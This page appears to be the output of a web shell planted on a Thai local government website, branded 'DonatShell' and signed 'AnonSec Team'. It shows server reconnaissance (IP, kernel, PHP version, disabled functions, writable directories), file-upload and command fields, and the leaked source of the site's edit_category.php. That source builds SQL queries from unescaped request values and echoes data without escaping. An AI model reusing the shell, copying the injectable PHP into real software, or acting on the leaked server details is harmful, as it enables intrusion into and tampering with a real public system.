%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/news/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html/news//edit_category.php
<?php
session_start();
if($_SESSION[user]==""){
session_destroy();
$message = "س Login ͹.";
$url = "../admin/index.php";
include("../admin/alert.php");
exit;
 }
require_once('../admin/Connections/conndb.php');
	mysql_select_db($database_conndb, $conndb);
	$query_rsNews = "SELECT * FROM news_category ORDER BY cat_id";
	$rsNews = mysql_query($query_rsNews, $conndb) or die(mysql_error());
	$row_rsNews = mysql_fetch_assoc($rsNews);
	$totalRows_rsNews = mysql_num_rows($rsNews);

$editFormAction = $_SERVER['PHP_SELF'];
if (isset($_SERVER['QUERY_STRING'])) {
  $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']);
}

if ((isset($_POST["MM_update"])) && ($_POST["MM_update"] == "updatenews")) {	

			$updateSQL = "UPDATE news_category SET cat_name='$cat_name' WHERE cat_id='$cat_id'";


  			$Result1 = mysql_query($updateSQL, $conndb) or die(mysql_error());

	if($Result1<>"")
		{		
	?>
			<SCRIPT LANGUAGE="JavaScript">
				alert("䢢º !!.");
				//	 history.back(); 
			</script>
	<?			
			echo "<meta http-equiv='refresh' content='0;URL=add_category.php'>";
		}



}

$colname_rsShownews = "-1";
if (isset($_GET['cat_id'])) {
  $colname_rsShownews = (get_magic_quotes_gpc()) ? $_GET['cat_id'] : addslashes($_GET['cat_id']);
}
$query_rsShownews = sprintf("SELECT * FROM news_category WHERE cat_id = %s", $colname_rsShownews);
$rsShownews = mysql_query($query_rsShownews, $conndb) or die(mysql_error());
$row_rsShownews = mysql_fetch_assoc($rsShownews);
$totalRows_rsShownews = mysql_num_rows($rsShownews);
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>                                                                                                    
<!-- InstanceBeginEditable name="doctitle" -->

<!-- InstanceEndEditable --> 
<?php
require_once('../admin/Connections/conndb.php'); 
mysql_select_db($database_conndb, $conndb);
?>
<title>ͧúǹӺŷ觢ҹ  99/9  1 Ӻ 觢ҹ  ´ ѧѴ ѹ :: www.thungkhanan.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->


<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #3CFFFF;	
}
-->
</style>

<!--styles -->
<link href="../styles.css" rel="stylesheet" type="text/css" />
<link href="../css/Hover%20Buttons.css" rel="stylesheet" type="text/css"/>
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
 <!--<script src="https://platform-api.sharethis.com/js/sharethis.js#property=5d255a83d97c100012d80679&product='inline-share-buttons' 
async='async"  type='text/javascript'> -->
   </script>
<!--styles -->


<style type="text/css">
<!--
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
.style6 {color: #FFFFFF}
-->
</style></head>

<body  background="../images/0bg1-edit1.png" style="background-repeat:no-repeat; background-position:top">




<!-- content -->
<div align="center">
  <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
      <td align="center" valign="top"><tr>
        <td height="" align="center" valign="top"><iframe src="/head-slider.html" width="100%" height="627" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></td>
      </tr>
      <tr>
        <td align="center" valign="top">&nbsp;</td>
      </tr>
      </td>
    </tr>
    <tr>
      <td align="center" valign="top"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top">&nbsp;</td>
        </tr>
        <tr>
          <td align="center" valign="top">&nbsp;</td>
        </tr>
        <tr>
          <td align="center" valign="top"><!-- InstanceBeginEditable name="EditRegion3" -->

<table width="85%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td class="title2"><div align="center" class="head"></div></td>
    </tr>
  <tr>
    <td>&nbsp;</td>
    </tr>
  <tr>
    <td class="styles1"><div align="right"><a href="../admin/main.php" class="styles2">˹ Admin </a>| <a href="add_category.php" class="styles2">Ǵ</a> | Ǵ | <a href="../admin/signout.php" class="styles2">͡ҡк </a></div></td>
    </tr>
  <tr>
    <td  align="center" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td align="center" valign="top">
      <table width="650" border="0" cellpadding="2" cellspacing="1" class="box-center">
	  <form action="<?php echo $editFormAction; ?>" method="POST" name="updatenews" enctype="multipart/form-data">
      <tr align="center">
        <td height="22" colspan="2" background="../images/bg4.gif" class="styles"><div align="center">Ǵ</div></td>
        </tr>
      <tr>
        <td width="150" align="right" class="styles1">Ǵ  : </td>
        <td width="500" align="left" class="red"><div align="left">
          <input name="cat_name" type="text" class="styles4" id="cat_name" value="<?php echo  $row_rsShownews['cat_name']; ?>" size="70" />
          <span class="style1">          **</span></div></td>
      </tr>	 
	  <tr>
        <td height="25" colspan="2" align="right"><div align="center">
          <input name="okbutton" type="submit" class="btn" value=""/>
		  <input name="file_1" type="hidden"  value="<?php echo $row_rsShownews['pic']; ?>" /> 
		  <input name="nid" type="hidden" id="nid" value="<?php echo $row_rsShownews['cat_id']; ?>" />
		  <input type="hidden" name="MM_update" value="updatenews">
        </div></td>
	  </tr></form>
    </table>       </td> 
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td><div align="center">
        <table width="650" border="0" cellpadding="2" cellspacing="1" class="box-center">
          <tr>
            <td width="50" height="20" background="../images/bg4.gif" class="styles"><div align="center">ӴѺ</div></td>
            <td width="500" height="20" background="../images/bg4.gif" class="styles"><div align="center">Ǵ</div></td>
            <td width="50" height="20" align="center" background="../images/bg4.gif" class="styles"><div align="center"></div></td>
            <td width="50" height="20" align="center" background="../images/bg4.gif" class="styles"><div align="center">ź</div></td>
          </tr>
          <?php
				  		$pagesize=20;
								$totalpage=(int)($totalRows_rsNews/$pagesize);
							   
							   if(($totalRows_rsNews% $pagesize )!= 0){
							   			$totalpage += 1;
							   }
							   if(isset($pageid)){
							   			$start=$pagesize * ($pageid - 1);
							   }
							   else{
							   			$pageid = 1;
										$start = 0 ;
							   }
							   
							   if($totalRows_rsNews!="0"){
							   		mysql_select_db($database_conndb, $conndb);
									
									//echo $query_rsNews;
									$sql=$query_rsNews."  Limit $start ,$pagesize ";
									$res = mysql_query($sql, $conndb) or die(mysql_error());
									
									if($pageid==1){
										$jk=1;
									}
									else{
										$a=$pageid * $pagesize;
										$jk=$a-$pagesize;
									}
									//echo " jk = ".$jk;
									while($c=mysql_fetch_object($res)){
				  ?>
          <tr>
            <td width="50" valign="top" class="styles1"><div align="center">
                <? 
								if($pageid==1){
									echo $jk;
								}
								else{
									$ak=$jk+1;
									echo $ak;
								}
							?>
            </div></td>
            <td width="500" valign="top" class="styles1"><div align="left"><a href="admin.php?cat_id=<? echo "$c->cat_id";?>" class="styles2" ><?php echo $c->cat_name; ?></a></div></td>
            <td width="50" align="center" valign="top"><div align="center"><a href="edit_category.php?cat_id=<?php echo $c->cat_id ; ?>"><img src="images/edit.gif" alt="" width="13" height="13" border="0"></a></div></td>
            <td width="50" align="center" valign="top"><div align="center"><a href="javascript:confirmDelete('delete_category.php?cat_id=<?php echo $c->cat_id ; ?>')"><img src="images/delete.gif" alt="źǢ" width="18" height="18" border="0"></a></div></td>
          </tr>
          <?php $jk++;		}
					  
					  }
					else  { // Show if recordset empty 
					?>
          <tr>
            <td height="100" colspan="4" class="title"><div align="center">Ǵ</div></td>
          </tr>
          <?php } // Show if recordset empty ?>
        </table>
    </div></td>
    </tr>
  <tr>
    <td class="styles1"><div align="left">ѧʴ˹ :
      <?            
							   
							   
							   for($i=1;$i<=$totalpage;$i++){
							   				if($i==$pageid){
													echo $i."&nbsp;";
											}
											else{
													echo "|<a href='edit_category.php?pageid=$i' class='styles2'>$i</a>|&nbsp;";
											}
							   }
							   
							   
					  ?>
    </div></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>




	  <!-- InstanceEndEditable --></td>
        </tr>
      </table></td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top" style="background-repeat:no-repeat"><img src="../images/foot.png"></td>
    </tr>
  </table>
</div>
<!-- end_content -->

<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>








<map name="Map6" id="Map6"><area shape="rect" coords="210,1,302,41" href="http://www.tratlocal.go.th/index.php" target="_blank" />
</map>
</body>
<!-- InstanceEnd --></html>
	<?
	if($conndb)
	 {
	  mysql_close($conndb);
	  unset($conndb);
	 }
	 ?>

Anon7 - 2022
AnonSec Team